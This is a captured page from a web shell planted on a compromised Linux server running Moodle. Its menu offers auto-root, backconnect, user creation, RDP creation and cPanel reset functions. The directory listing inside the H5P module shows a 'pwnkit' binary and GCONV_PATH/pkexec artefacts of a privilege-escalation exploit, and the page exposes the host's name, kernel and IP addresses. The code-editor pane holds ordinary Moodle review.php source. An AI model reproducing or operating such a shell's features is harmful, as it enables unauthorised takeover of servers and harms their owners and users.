Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.58
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
editor
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
reporting
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.eslintrc
5.77
KB
-rw-r--r--
.gitignore
49
B
-rw-r--r--
.gitmodules
323
B
-rw-r--r--
.jshintrc
163
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.travis.yml
4.8
KB
-rw-r--r--
LICENSE
17.62
KB
-rw-r--r--
README.md
2.39
KB
-rw-r--r--
ajax.php
16.43
KB
-rw-r--r--
autoloader.php
3.68
KB
-rw-r--r--
content_hub_registration.php
2.03
KB
-rw-r--r--
dataviews.js
1.31
KB
-rw-r--r--
editor.js
1.25
KB
-rw-r--r--
embed.php
3.53
KB
-rw-r--r--
grade.php
5
KB
-rw-r--r--
index.php
4.25
KB
-rw-r--r--
lib.php
16.49
KB
-rw-r--r--
library_list.php
5.1
KB
-rw-r--r--
locallib.php
25.48
KB
-rw-r--r--
mod_form.php
18.76
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
3.1
KB
-rw-r--r--
review.php
6.74
KB
-rw-r--r--
settings-hide-key.js
1018
B
-rw-r--r--
settings.php
7.2
KB
-rw-r--r--
share.php
5.63
KB
-rw-r--r--
styles.css
2.18
KB
-rw-r--r--
thirdpartylibs.xml
542
B
-rw-r--r--
upgrade_content_page.php
4.95
KB
-rw-r--r--
version.php
1.06
KB
-rw-r--r--
view.css
1.74
KB
-rw-r--r--
view.php
3.37
KB
-rw-r--r--
xapi-collector.js
5.67
KB
-rw-r--r--
xapi-custom-report.css
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : review.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * View all results for H5P Content * * @package mod_hvp * @copyright 2016 Joubel AS <contact@joubel.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(dirname(__FILE__) . '/../../config.php'); require_once("locallib.php"); global $USER, $PAGE, $DB, $CFG, $OUTPUT, $COURSE; $id = required_param('id', PARAM_INT); $userid = optional_param('user', (int) $USER->id, PARAM_INT); if (!$cm = get_coursemodule_from_instance('hvp', $id)) { print_error('invalidcoursemodule'); } if (!$course = $DB->get_record('course', ['id' => $cm->course])) { print_error('coursemisconf'); } require_login($course, false, $cm); // Check permission. $context = \context_module::instance($cm->id); hvp_require_view_results_permission($userid, $context, $cm->id); // Load H5P Content. $hvp = $DB->get_record_sql( "SELECT h.id, h.name AS title, hl.machine_name, hl.major_version, hl.minor_version FROM {hvp} h JOIN {hvp_libraries} hl ON hl.id = h.main_library_id WHERE h.id = ?", [$id]); if ($hvp === false) { print_error('invalidhvp'); } // Set page properties. $pageurl = new moodle_url('/mod/hvp/review.php', [ 'id' => $hvp->id, ]); $basepath = \mod_hvp\view_assets::getsiteroot(); $PAGE->set_url($pageurl); $PAGE->set_title($hvp->title); $PAGE->set_heading($COURSE->fullname); $PAGE->requires->css(new moodle_url($basepath . '/mod/hvp/xapi-custom-report.css')); // We have to get grades from gradebook as well. $xapiresults = $DB->get_records_sql(" SELECT x.*, i.grademax FROM {hvp_xapi_results} x JOIN {grade_items} i ON i.iteminstance = x.content_id WHERE x.user_id = ? AND x.content_id = ? AND i.itemtype = 'mod' AND i.itemmodule = 'hvp'", [$userid, $id] ); if (!$xapiresults) { echo $OUTPUT->header(); echo "<h2>" . get_string('noanswersubmitted', 'hvp') . "</h2>"; echo $OUTPUT->footer(); return; } $totalrawscore = null; $totalmaxscore = null; $totalscaledscore = null; $scaledscoreperscore = null; // Assemble our question tree. $basequestion = null; // Find base question. foreach ($xapiresults as $question) { if ($question->parent_id === null) { // This is the root of our tree. $basequestion = $question; if (isset($question->raw_score) && isset($question->grademax) && isset($question->max_score)) { $scaledscoreperscore = $question->max_score ? ($question->grademax / $question->max_score) : 0; $question->score_scale = round($scaledscoreperscore, 2); $totalrawscore = $question->raw_score; $totalmaxscore = $question->max_score; if ($question->max_score && $question->raw_score === $question->max_score) { $totalscaledscore = round($question->grademax, 2); } else { $totalscaledscore = round($question->score_scale * $question->raw_score, 2); } } break; } } foreach ($xapiresults as $question) { if ($question->parent_id === null) { // Already processed. continue; } else if (isset($xapiresults[$question->parent_id])) { // Add to parent. $xapiresults[$question->parent_id]->children[] = $question; } // Set scores. if (!isset($question->raw_score)) { $question->raw_score = 0; } if (isset($question->raw_score) && isset($question->grademax) && isset($question->max_score)) { $question->scaled_score_per_score = $scaledscoreperscore; $question->parent_max_score = $totalmaxscore; $question->score_scale = round($question->raw_score * $scaledscoreperscore, 2); } // Set score labels. $question->score_label = get_string('reportingscorelabel', 'hvp'); $question->scaled_score_label = get_string('reportingscaledscorelabel', 'hvp'); $question->score_delimiter = get_string('reportingscoredelimiter', 'hvp'); $question->scaled_score_delimiter = get_string('reportingscaledscoredelimiter', 'hvp'); $question->questions_remaining_label = get_string('reportingquestionsremaininglabel', 'hvp'); } // Initialize reporter. $reporter = H5PReport::getInstance(); $reporthtml = $reporter->generateReport($basequestion, null, count($xapiresults) <= 1); $styles = $reporter->getStylesUsed(); $scripts = $reporter->getScriptsUsed(); foreach ($styles as $style) { $PAGE->requires->css(new moodle_url($basepath . '/mod/hvp/reporting/' . $style)); } foreach ($scripts as $script) { $PAGE->requires->js(new moodle_url($basepath . '/mod/hvp/reporting/' . $script)); } $PAGE->requires->js(new moodle_url($basepath . '/mod/hvp/library/js/jquery.js'), true); // Send the enpoints necessary for dynamic grading to the view. $setsubcontentendpoint = "{$basepath}/mod/hvp/ajax.php?contextId={$context->instanceid}&token=" . \H5PCore::createToken('result') . '&action=updatesubcontentscore'; $getsubcontentendpoint = "{$basepath}/mod/hvp/ajax.php?contextId={$context->instanceid}&token=" . \H5PCore::createToken('result') . '&action=getsubcontentscore'; $datatosend = array( 'setSubContentEndpoint' => $setsubcontentendpoint, 'getSubContentEndpoint' => $getsubcontentendpoint, ); $PAGE->requires->data_for_js('data_for_page', $datatosend, true); $renderer = $PAGE->get_renderer('mod_hvp'); // Print title and report. $title = $hvp->title; // Show user name if other then self. if ($userid !== (int) $USER->id) { $userresult = $DB->get_record('user', ["id" => $userid], 'username'); if (isset($userresult) && isset($userresult->username)) { $title .= ": {$userresult->username}"; } } // Create title. $reviewcontext = [ 'title' => $title, 'report' => $reporthtml, 'rawScore' => $totalrawscore, 'maxScore' => $totalmaxscore, 'scaledScore' => round($totalscaledscore, 2), 'maxScaledScore' => round($basequestion->grademax, 2), ]; // Print page HTML. echo $OUTPUT->header(); echo $renderer->render_from_template('hvp/review', $reviewcontext); echo $OUTPUT->footer();
Close